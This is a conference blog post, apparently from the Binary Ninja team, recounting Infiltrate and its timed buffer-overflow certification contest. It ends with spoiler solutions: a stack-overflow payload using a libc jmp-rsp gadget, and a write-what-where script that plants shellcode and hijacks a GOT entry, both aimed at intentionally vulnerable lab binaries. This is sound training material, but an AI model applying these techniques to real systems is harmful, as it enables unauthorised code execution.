We’ve just returned from a trip down the road to Miami, FL. What made us brave the road hazards and dangerous drivers in Miami? Why, our favorite conference: Infiltrate from Immunity. What makes Infiltrate so good? First, there’s no “lobby con”, but rather the whole conference feels like a lobby con but with much better food and drinks. Because the meals are provided and hang-out times are included, there’s plenty of opportunities to meet new, interesting people.
Second, Infiltrate requires all talks be reviewed well prior to the conference which drastically improves the average talk quality above most other cons.
Finally, I can’t help but mention how well run the conference is. From Dave (he probably has something to do with it, right? We kid, Dave 💖) to Bas, Shari, and Linda, the whole team behind the event goes to great lengths to make it a great experience for all attendees and it shows. Plus, they like to throw fun quirks in – this year one was an entire “bug” buffet full of dead bugs (sadly, I wasn’t brave enough to give the scorpion a try).
Rusty and Jordan spoke two years ago about some of our CTF experiences and game hacking, but this year we got much more technical as Rusty and Peter joined forces with our friend Sophia D’Antoine from Trail of Bits to talk about Program Analysis using Binary Ninja. We’ll post a more detailed blog later describing our portions of the talk. This was also the first chance for the public to get a sneak peak of the new Medium Level IL that’s about to be released.
One fun part of Infiltrate the past two years has been the resurrection of the NOP Certification. Originally a slightly tongue-in-cheek poke at meaningless infosec certifications, you had to land a simple buffer overflow using someone else’s machine and tools to prove your leet offensive skills. Originally launched in 2008, the certification hasn’t been run for many years until 2016 when it was re-launched at Infiltrate in the exact same configuration as previous years. With almost a decade passing since the last test though, the environment proved to be so difficult to use (everyone keeps their Python 2.5 and Windows 2000 skills up to date, right?) that it turned into a fantastic spectator sport as even some of the best in the field failed to finish in time.
The best part of the NOP certification turned out to be the heckling, so for this year, Vector 35 asked Immunity if we could help run the event in the same tradition but with some new challenges and environment. Thanks for Dave and Bas for letting us have a go at it, we’re really happy with the results!
All told, about two dozen participants tried their best for a sub 25-minute time. In the end, only one made it though a few early participants were hamstrung by a usability bug that resulted in some incomplete shellcode being used. A number of participants made it under the extended 30 minute time limit so congratulations to all of the following (apologies if I’ve missed anyone):
Here there be trolls
It’s hard to explain how important of an aspect heckling was to the competition. A huge number of participants failed solely because of the outrageous trolling going on combined with their unfamiliarity of the tools. The number of people who failed includes a veritable “who’s-who” of expert reverse engineers and exploit writers, so there’s no shame in not being able to solve the challenge in the allotted time given such arbitrary obstacles.
Still, it makes for a great spectator sport and the best part about trying and failing was that you could take your turn behind the scenes heckling the next
The rules of the certification are simple: using only the tools available to you (no internet, though you can search on your phone or ask the crowd for help) on a provided machine, land a buffer overflow. In 2016, the time limit was 45m, but in 2017 we lowered the bar to 25m which proved to be a more difficult boundary, despite the challenge environment being modernized and challenge being a tiny bit simpler.
If you’d like to try the challenge yourself at home, here are the two binaries with descriptions of the challenge for each of them.
- Challenge one is compiled as a root owned binary and launched via xinetd on port 9999, and there is a file in the root of the drive (owned by root) that must be viewed to win. Local privescs welcome, but the prizes weren’t really worth it, use your own judgement.
- Host OS was Ubuntu 16.04 Desktop, x64
ASLR was globally disabled (
kernel.randomize_va_space = 0)
- Ptrace was enabled (
kernel.yama.ptrace_scope = 0)
- Binary Ninja and gdb-peda were both installed
- Binary was compiled with:
-std=gnu99 -Wl,-z,execstack -fno-stack-protector
- Challenge two was very similar to a challenge that our friends at LegitBS wrote for our Binary Ninja launch party, thanks to them for the challenge!
- We used challenge two for a live 2v2 competition between some of the best times we’d had throughout the event: from Trail of Bits we had Ryan and Jay, and from Immunity Skylar and Lurene in a 2v2 battle in front of an entire audience of hecklers
- Same environment as above, with the following compile options:
-ldl -std=gnu99 -Wl,-z,norelro -D_GNU_SOURCE -Wall -Wextra -Wshadow
- Run as a SUID binary, same goal to cat the flag, same shellcode
The result of the head to head was an exciting finish with team ToB defeating Immunity in 14 minutes but only after recovering from multiple bugs/typos (the two-person approach definitely helped versus being solo!)
Spoilers on each challenge below. Only read if you want to see answers!
Still with me?
Challenge 1 was a simple stack-based buffer overflow, no ASLR, no stack-cookies, no NX … easy as can be. The only mild challenge to make sure you at least /looked/ at the binary was the trivia question asking what year the Daily Dave mailing list was started (though two participants guessed it or knew it right off the bat!)
The stack based buffer overflow can be exploited with a payload as simple as:
1 2 3 4
python -c "ptr_to_jmp_rsp_from_libc = 0x65a5c + 0x7ffff7a0e000 \ import struct; print '2002\n' 'A' * 0xc8 + struct.pack('q', ptr_to_jmp_rsp_from_libc) + open('shellcode.bin').read() + '\n'"
Other solutions hard-coded the stack-address itself of the destination, but that required either running it without GDB at first and then attaching after the fact or throwing it against the live service and checking the server logs in
dmesg to adjust the
Challenge 2 allocated a read-write-execute buffer at a fixed address 0x41414000 then entered a loop where it would prompt “Where?” and then “What?” each time receiving a signed decimal value (via
scanf with a
%d).. Next it wrote the “what” value to the “where” pointer. Using this we can write our shellcode 8 bytes at a time to the RWX buffer, then either overwrite the return address on the stack, or the gots entry for
1 2 3 4 5 6 7 8 9 10 11 12 13 14
import struct sc = open("shellcode.bin").read() sc += "A" * (8 - len(sc) % 8) # pad shellcode to 8 byte boundary buffer = 0x41414000 #Write shellcode for i in range(0, len(sc), 8): print struct.unpack("q", sc[i:i+8]) print buffer + i puts_got = 0x4004f0 #Code execution print buffer print puts_got
As we always do, we had a great time hanging out at Infiltrate and we hope to see even more Binary Ninja fans there next year, though it was great to meet so many of you this year. Thanks again to Immunity for running a great con and letting us be involved. If you didn’t catch us there this year, make sure to add it to your calendar for next year. We always try to come with stickers and even bring a traveling version of our swag shop (with discounted prices) for Binary Ninjas who want a mug or shirt to hack in.